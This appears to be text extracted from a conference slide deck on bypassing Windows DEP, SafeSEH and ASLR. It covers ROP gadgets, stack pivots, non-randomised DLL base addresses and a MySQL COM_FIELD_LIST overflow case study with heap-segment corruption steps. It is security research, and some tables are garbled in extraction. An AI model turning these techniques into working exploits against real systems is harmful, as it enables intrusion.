Bypassing DEP is not new
Bypassing DEP is not new
- ‘ret2libc’ DEP bypass
- before DEP was even implemented natively in Windows

http://packetstormsecurity.org/0311-exploits/rpc!

Released in 2003
- NtAllocateVirtualMemory()
- Memcpy()
- NtProtectVirtualMemory()
Still most public exploits do not bypass DEP

- Largely because of default desktop DEP settings
- Enable DEP will prevent the majority of public exploits

This is changing

- With the current release of methods and techniques

So... Does DEP Work?
DEP Recap

Data Execution Prevention

- Prevents the execution of code from pages of memory that are not explicitly marked as executable
- Enforced by hardware
- Attempts to run code from a non executable page result in a STATUS_ACCESS_VIOLATION exception

What does it protect?

- DEP is always enabled for 64-bit native programs.
- Configuration specifies if DEP is enabled for 32-bit programs.
DEP Modes

Opt-In
- Process must explicitly decide to enabled DEP

Opt-Out
- Every process is protected unless explicitly decides to disable

Always On
- All process are always protected and can’t be disabled

Always Off
- Disable DEP for everything
## Memory Protection Mechanisms

<table>
<thead>
<tr>
<th></th>
<th>XP SP2, SP3</th>
<th>2003 SP1, SP2</th>
<th>Vista SP0</th>
<th>Vista SP1</th>
<th>2008 SP0</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>GS</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>stack cookies</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>variable reordering</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>#pragma strict_gs_check</td>
<td>no</td>
<td>no</td>
<td>no</td>
<td>yes ¹</td>
<td>yes ¹</td>
</tr>
<tr>
<td><strong>SafeSEH</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>SEH handler validation</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>SEH chain validation</td>
<td>no</td>
<td>no</td>
<td>no</td>
<td>yes ²</td>
<td>yes</td>
</tr>
<tr>
<td><strong>Heap protection</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>safe un unlinking</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>safe lookaside lists</td>
<td>no</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>heap metadata cookies</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>heap metadata encryption</td>
<td>no</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td><strong>DEP</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NX support</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>permanent DEP</td>
<td>no</td>
<td>no</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>OptOut mode by default</td>
<td>no</td>
<td>yes</td>
<td>no</td>
<td>no</td>
<td>yes</td>
</tr>
<tr>
<td><strong>ASLR</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>PEB, TEB</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>heap</td>
<td>no</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>stack</td>
<td>no</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>images</td>
<td>no</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
</tbody>
</table>

¹ only some components, most notably the AVI and PNG parsers
² undocumented, disabled by default

---

Alexander Sotirov
Mark Dowd

---
## DEP Protection Mechanisms

<table>
<thead>
<tr>
<th></th>
<th>XP SP2, SP3</th>
<th>2003 SP1, SP2</th>
<th>Vista SP0</th>
<th>Vista SP1</th>
<th>2008 SP0</th>
<th>Win7 SP0</th>
</tr>
</thead>
<tbody>
<tr>
<td>DEP Support</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>Permanent DEP</td>
<td>no</td>
<td>no</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>Default OptOut</td>
<td>no</td>
<td>yes</td>
<td>no</td>
<td>no</td>
<td>yes</td>
<td>no</td>
</tr>
<tr>
<td>Default AlwaysOn</td>
<td>no</td>
<td>no</td>
<td>no</td>
<td>no</td>
<td>no</td>
<td>no</td>
</tr>
</tbody>
</table>

That's a lot of no

```c
SetProcessDEPPolicy(PROCESS_DEP_ENABLE);
```

<table>
<thead>
<tr>
<th></th>
<th>IE 7</th>
<th>IE 8</th>
<th>FF 3</th>
<th>Safari 5</th>
</tr>
</thead>
<tbody>
<tr>
<td>Permanent DEP</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
</tbody>
</table>

**INSOMNIA**
/NXCOMPAT

- Linker option used to specify that this process wants DEP

SetProcessDEPPolicy()
- Called by process to Opt In/Out and set permanent DEP
Disable DEP

- Essentially this is Opt Out for a process

NtSetInformationProcess()
- Skape and Skywing ret-to-libc to deactivate DEP

SetProcessDEPPolicy()
- On XP SP3 and later

Will not work against
- /AlwaysOn
- Permanent DEP

From Now On Lets Just Assume /AlwaysOn Permanent DEP Is Enabled
Bypass DEP

Allocate executable memory to contain shellcode

Various very clever browser attacks

<table>
<thead>
<tr>
<th>Attack</th>
<th>Defense</th>
</tr>
</thead>
<tbody>
<tr>
<td>.Net User Control DEP Bypass</td>
<td>Internet Explorer 8</td>
</tr>
<tr>
<td>Actionscript Heap Spray</td>
<td>Flash 10 (DEP/ASLR)</td>
</tr>
<tr>
<td>Java Heap Spray</td>
<td>No longer RWX</td>
</tr>
<tr>
<td>JIT-Spray</td>
<td>Flash 10.1. pages with code are encrypted</td>
</tr>
</tbody>
</table>
Bypass DEP with ret2libc
- Use executable instructions from the application
- Use executable instructions from other dlls
- Return Orientated Programming

Use the stack to control flow
- Function address
- Parameters

STACK

...  
RETURN ADDRESS1  
PARAM1  
PARAM2  
RETURN ADDRESS2

Overwrite RET directly
EIP through SEH overwrite

- Well known technique
- No more pop, pop, ret
- Other pointers to SEH record

Separator

ESP when handler called

STACK

... 
.. 
.. 
Ptr To SEH Record

ADD ESP, ###
RETN

Reference SEH record

MOV ECX, [EBP+0C]
CALL [ECX]

Overwrite SEH directly
EIP through vTable overwrite

- Common in browser exploits

Application function call

MOV EAX, [ESI]
CALL EAX

ESI points to vTable

Need to control the stack

PUSH ECX
POP ESP
RETN

Exploit points vTable to here
Now we are in control of the stack
- Controls execution flow into existing code blocks
- Not executing the shellcode

Find out where we are
- Need to know our ESP address

Controlling The Stack

**MOV ECX,DWORD PTR FS:[0]**
- Load ESP indirectly via SEH

**PUSH ESP**
- Load ESP directly

**POP EAX**

**RETN**

The easy way

- Use LoadLibrary() to retrieve DLL over webdav/smb
- DLL is loaded into memory and executed
- No memory protection changes required

LEA EAX, DWORD PTR SS:[ESP+40]
PUSH EAX
CALL DWORD PTR DS:
[<&KERNEL32.LoadLibrary>]

Points to our string

Calls LoadLibraryA()
Create an executable heap to use
- HeapCreate(HEAP_CREATE_ENABLE_EXECUTE)
- HeapAlloc()
- Memcpy
- Return to buffer

Allocate executable memory
- VirtualAlloc(PAGE_EXECUTE_READWRITE)
- Memcpy
- Ret to buffer
Memory Protection Attacks

VirtualAlloc(PAGE_EXECUTE_READWRITE)
- Can be passed a preferred address
- This can point to existing memory
- Memory protection of existing memory changed

VirtualProtect(PAGE_EXECUTE_READWRITE)
- Pass the address of payload
- Update to make memory executable
- Execute it
Other Attacks

**WriteProcessMemory()**
- Write payload to existing executable memory
- Can be at the end of WriteProcessMemory()
- Payload executed

**Others**
- **CreateFileMapping()**
- **System()**
- **WinExec()**

So... Does DEP Work?
**ASLR In Browsers**

ROP requires known addresses

- ASLR is a problem, only if it is enabled for everything

**Firefox 3.6.3**

<table>
<thead>
<tr>
<th>OS</th>
<th>DLL</th>
<th>Address?</th>
</tr>
</thead>
<tbody>
<tr>
<td>Vista</td>
<td>Nspr4.dll 4.8.3</td>
<td>0x10000000</td>
</tr>
<tr>
<td>Windows 7</td>
<td>Nspr4.dll 4.8.3</td>
<td>0x10000000</td>
</tr>
</tbody>
</table>

**Safari 5**

<table>
<thead>
<tr>
<th>OS</th>
<th>DLL</th>
<th>Address?</th>
</tr>
</thead>
<tbody>
<tr>
<td>Vista</td>
<td>libdispatch.dll 1.109..4.1</td>
<td>0x10000000</td>
</tr>
<tr>
<td>Windows 7</td>
<td>libdispatch.dll 1.109..4.1</td>
<td>0x10000000</td>
</tr>
</tbody>
</table>
### 3rd Party Components

#### Shockwave anyone

<table>
<thead>
<tr>
<th>Browser</th>
<th>OS</th>
<th>DLL</th>
<th>Address?</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE 7</td>
<td>Vista</td>
<td>DIRAPI.dll 11.5.7r609</td>
<td>0x68000000</td>
</tr>
<tr>
<td></td>
<td></td>
<td>IML32.dll 11.5.7r609</td>
<td>0x69000000</td>
</tr>
<tr>
<td></td>
<td></td>
<td>SWDir.dll 11.5.7r609</td>
<td>0x69200000</td>
</tr>
<tr>
<td>IE8</td>
<td>Windows 7</td>
<td>DIRAPI.dll 11.5.7r609</td>
<td>0x68000000</td>
</tr>
<tr>
<td></td>
<td></td>
<td>IML32.dll 11.5.7r609</td>
<td>0x69000000</td>
</tr>
<tr>
<td></td>
<td></td>
<td>SWDir.dll 11.5.7r609</td>
<td>0x69200000</td>
</tr>
</tbody>
</table>

#### Java perhaps

<table>
<thead>
<tr>
<th>Browser</th>
<th>OS</th>
<th>DLL</th>
<th>Address?</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE 7</td>
<td>Vista</td>
<td>deployJava1.dll</td>
<td>0x10000000</td>
</tr>
<tr>
<td></td>
<td></td>
<td>MSVCR71.dll 7.10.3052.4</td>
<td>0x7c340000</td>
</tr>
<tr>
<td>IE8</td>
<td>Windows 7</td>
<td>deployJava1.dll</td>
<td>0x10000000</td>
</tr>
<tr>
<td></td>
<td></td>
<td>MSVCR71.dll 7.10.3052.4</td>
<td>0x7c340000</td>
</tr>
</tbody>
</table>
ROP needs only one address
- Can use LoadLibrary() to load other DLLS
- Can use lookups to reference other DLLS

```assembly
 MOV DWORD PTR DS:[ESI],EDI
 PUSH ESI
 CALL DWORD PTR DS:[<&KERNEL32.GetVersionExA>]
```

**Pointer to function inside Kernel32**
### Heap structure flags

These Flags hold settings such as isDebug, Exception Raising, and Executable Heap.

### HeapCreate()

<table>
<thead>
<tr>
<th>Heap Flags</th>
<th>Name</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>HEAP_CREATE_ENABLE_EXECUTE</td>
<td>0x00040000</td>
<td>All memory blocks that are allocated from this heap allow code execution</td>
</tr>
<tr>
<td></td>
<td>HEAP_GENERATE_EXCEPTIONS</td>
<td>0x00000004</td>
<td>Raise an exception to indicate failure</td>
</tr>
<tr>
<td></td>
<td>HEAP_NO_SERIALIZE</td>
<td>0x00000001</td>
<td>Serialized access is not used</td>
</tr>
</tbody>
</table>
Heap is extended to accommodate an allocation request.

```
MOV EAX, DWORD PTR DS:[EAX+C]
AND EAX, 40000
NEG EAX
SBB EAX, EAX
AND EAX, 3C
ADD EAX, 4
PUSH EAX
PUSH 1000
PUSH EBX
PUSH 0
LEA EAX, DWORD PTR SS:[EBP+14]
PUSH EAX
PUSH -1
CALL ntdll!ZwAllocateVirtualMemory
```

If the flag can be manipulated, it can lead to an executable heap allocation.
### Before flag change

#### Heap Management

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>003600</td>
<td>00</td>
</tr>
<tr>
<td>003600</td>
<td>0000000</td>
</tr>
<tr>
<td>003600</td>
<td>0C</td>
</tr>
<tr>
<td>003600</td>
<td>2</td>
</tr>
</tbody>
</table>
### Executable Heap Spray

#### After flag change

<table>
<thead>
<tr>
<th>Address</th>
<th>Size</th>
<th>Owner</th>
<th>Section</th>
<th>Contains</th>
<th>Type</th>
<th>Access</th>
<th>Initial</th>
<th>Mapped as</th>
</tr>
</thead>
<tbody>
<tr>
<td>00360000</td>
<td>0000E000</td>
<td>0000S1000</td>
<td>0000S1000</td>
<td>0000S1000</td>
<td>Priv</td>
<td>RWE</td>
<td>00360000</td>
<td>00360000</td>
</tr>
<tr>
<td>00360000</td>
<td>0000E000</td>
<td>0000S1000</td>
<td>0000S1000</td>
<td>0000S1000</td>
<td>Priv</td>
<td>RWE</td>
<td>00360000</td>
<td>00360000</td>
</tr>
<tr>
<td>00360000</td>
<td>0000E000</td>
<td>0000S1000</td>
<td>0000S1000</td>
<td>0000S1000</td>
<td>Priv</td>
<td>RWE</td>
<td>00360000</td>
<td>00360000</td>
</tr>
<tr>
<td>00360000</td>
<td>0000E000</td>
<td>0000S1000</td>
<td>0000S1000</td>
<td>0000S1000</td>
<td>Priv</td>
<td>RWE</td>
<td>00360000</td>
<td>00360000</td>
</tr>
</tbody>
</table>

#### Heap Management

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>00360000</td>
<td>00</td>
</tr>
<tr>
<td>00360000</td>
<td>00</td>
</tr>
</tbody>
</table>

Arbitrary byte write used to set heap executable.

RWE

INSOMNIA
Prevents the abuse of SEH records
- /safeseh linker option

Common known weaknesses
- Handler in a module not /safeseh
- Handler not in a loaded module
- Handler on the heap

This is not useful, the heap is not executable!

STACK

...  
RETURN ADDRESS

..  
Ptr To Next SEH Record

..  
Ptr To SE Handler

..  
Ptr To Next SEH Record

Ptr To SE Handler
Not so common known weaknesses

- Existing registered handlers
- Mentioned by Litchfield
- Dissected by Ben Nagy

Multiple DLLS channel
there exceptions through
MSVCRT
Visual C++ implementation of SEH

If we can write NULLS to the stack
And we can guess the stack range
And we can spray a heap range
Then yes, we can reach this code

Good Luck With That ☺
77BC6CA1 MOV ESI,DWORD PTR DS:[EBX+C] ; Load SEH+C
77BC6CA4 MOV EDI,DWORD PTR DS:[EBX+8] ; Load SEH+8
77BC6CA7 PUSH EBX
77BC6CA8 CALL msvcr.77BCA3BE ; Call validation routine

STACK

<table>
<thead>
<tr>
<th>SEH-8</th>
<th>Ptr Stack &lt; SEH</th>
</tr>
</thead>
<tbody>
<tr>
<td>SEH-4</td>
<td>XXXXXXXX</td>
</tr>
<tr>
<td>SEH</td>
<td>XXXXXXXX</td>
</tr>
<tr>
<td>Record</td>
<td></td>
</tr>
<tr>
<td>Handler</td>
<td>77BC6C74</td>
</tr>
<tr>
<td>SEH+8</td>
<td>NonStack Ptr</td>
</tr>
<tr>
<td>SEH+C</td>
<td>00000001</td>
</tr>
</tbody>
</table>

Fake Record
FFFFFFFFFF EIP TARGET

Possible under the right conditions, but yeah.....
Well, at least it hasn’t terminated yet.
Case Study - MYSQL

MYSQL \leq 5.1.41 COM_FIELD_LIST

- Stack overflow
- Supply a long field name as the parameter

[14:58:24] Access violation when writing to [03310000] - use Shift+F7/F8/F9 to pass exception to program

INSOMNIA
No modules to be used

- No useable memory addresses
- Can’t fall back to ret overwrite due to /GS

Try a longer string?

- Maybe a different code path is taken
Something's Different

[15:08:53] Access violation when reading [68686868] - use Shift+F7/F8/F9 to pass exception to program

Different AV

Different Code Location

INSOMNIA
Interesting
- Doesn’t help us bypass SafeSEH restrictions
- Wonder what this other memory is?
- If only we could stop the current thread from crashing
Looks Like Heap Code

```
7C833BF9 ^0F84 FDCFDFF
7C833BFF 8B50 10
7C833C02 8B13
7C833C04 8B45 14
7C833C07 3956 08
7C833C0A ^0F82 8B03FEFF
7C833C10 85C0
7C833C12 ^0F85 CDBFDFF
```

```
EDX=00018000
DS:[68686870]=???
```

```
Address Hex dump ASCII
03310000 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 68 hhhhhhhhhhhhhhh
```

```
Microsoft Visual C++ Runtime Library

Runtime Error!

Program:

This application has requested the Runtime to terminate it in an unusual way. Please contact the application's support team for more information.

OK
```
Heap segment
- Created when heap is extended
- Pointer stored in base heap

40 byte chunk contains
- Heap chunk header
- Segment metadata

<table>
<thead>
<tr>
<th>Heap Management</th>
</tr>
</thead>
<tbody>
<tr>
<td>Address</td>
</tr>
<tr>
<td>003E00 00</td>
</tr>
<tr>
<td>003E00 58</td>
</tr>
</tbody>
</table>

Segment header queried
- During allocation for large size
- Segment queried on uncommitted memory
- Will commit and insert new chunk into freelist[0]
## Heap Segment Header

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>033100</td>
<td>FFEEFFE</td>
<td>Signature</td>
</tr>
<tr>
<td>08</td>
<td>E</td>
<td></td>
</tr>
<tr>
<td>033100</td>
<td>000000</td>
<td>Flags</td>
</tr>
<tr>
<td>0C</td>
<td>00</td>
<td></td>
</tr>
<tr>
<td>033100</td>
<td>003E00</td>
<td>Heap</td>
</tr>
<tr>
<td>10</td>
<td>00</td>
<td></td>
</tr>
<tr>
<td>033100</td>
<td>033100</td>
<td>LargestUnCommittedRange</td>
</tr>
<tr>
<td>14</td>
<td></td>
<td></td>
</tr>
<tr>
<td>033100</td>
<td>033100</td>
<td>Base Address</td>
</tr>
<tr>
<td>18</td>
<td>00</td>
<td></td>
</tr>
<tr>
<td>033100</td>
<td>000004</td>
<td>Number of pages</td>
</tr>
<tr>
<td>1C</td>
<td>00</td>
<td></td>
</tr>
<tr>
<td>033100</td>
<td>033100</td>
<td>First Entry</td>
</tr>
<tr>
<td>20</td>
<td>40</td>
<td></td>
</tr>
<tr>
<td>033100</td>
<td>03FF03</td>
<td>Last Valid Entry</td>
</tr>
<tr>
<td>24</td>
<td>71</td>
<td></td>
</tr>
<tr>
<td>033100</td>
<td>000004</td>
<td>NumberofUnCommittedPages</td>
</tr>
<tr>
<td>28</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### 40 Byte Chunk

- Address for newly created chunk to use
Exploit needs to setup
- FirstEntry pointer
- UnCommittedRange (this controls the

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex dump</th>
</tr>
</thead>
<tbody>
<tr>
<td>03310000</td>
<td>01 01 01 01 01 01 01 01 01 01 01 01 01 01 01</td>
</tr>
<tr>
<td>03310010</td>
<td>20 01 31 03 22 22 22 22 33 33 33 33 64 64 64 64</td>
</tr>
<tr>
<td>03310020</td>
<td>40 01 31 03 66 66 66 66 66 66 66 66 77 77 77 3F</td>
</tr>
<tr>
<td>03310030</td>
<td>80 01 31 03 01 01 01 01 01 01 01 01 01 01 01</td>
</tr>
</tbody>
</table>

UnCommittedRange

Range Address
At next large allocation
- Fake uncommitted range used
- 01ACBA90 is returned
- Data written to allocated buffer

<table>
<thead>
<tr>
<th>Address</th>
<th>Hex dump</th>
</tr>
</thead>
<tbody>
<tr>
<td>01ACBA90</td>
<td>AD 01 20 00 AD 01 20 00 AD 01 20 00 AD 01 20 00 AD 01</td>
</tr>
<tr>
<td>01ACBA00</td>
<td>AD 01 20 00 AD 01 20 00 AD 01 20 00 AD 01 20 00 AD 01</td>
</tr>
<tr>
<td>01ACBAB0</td>
<td>AD 01 20 00 AD 01 20 00 AD 01 20 00 AD 01 20 00 AD 01</td>
</tr>
<tr>
<td>01ACBAC0</td>
<td>AD 01 20 00 AD 01 20 00 AD 01 20 00 AD 01 20 00 AD 01</td>
</tr>
<tr>
<td>01ACBAD0</td>
<td>AD 01 20 00 AD 01 20 00 AD 01 20 00 AD 01 20 00 AD 01</td>
</tr>
</tbody>
</table>

Overwritten function pointer table in MYSQL heap
Function table accessed

EAX points to our data

00446914 MOV EAX,DWORD PTR DS:[ESI]
00446916 MOV EDX,DWORD PTR DS:[EAX+4]
00446919 PUSH EDI
0044691A PUSH EBX
0044691B PUSH EBP
0044691C PUSH ECX
0044691D MOV ECX,ESI
0044691F CALL EDX

00424983 PUSH EAX
00424984 POP ESP
00424985 RETN

00401054 POP ECX
00401055 RETN
Bypass DEP

Use VirtualAlloc call from within MYSQL

Return to a JMP ESP

Crafty stack setup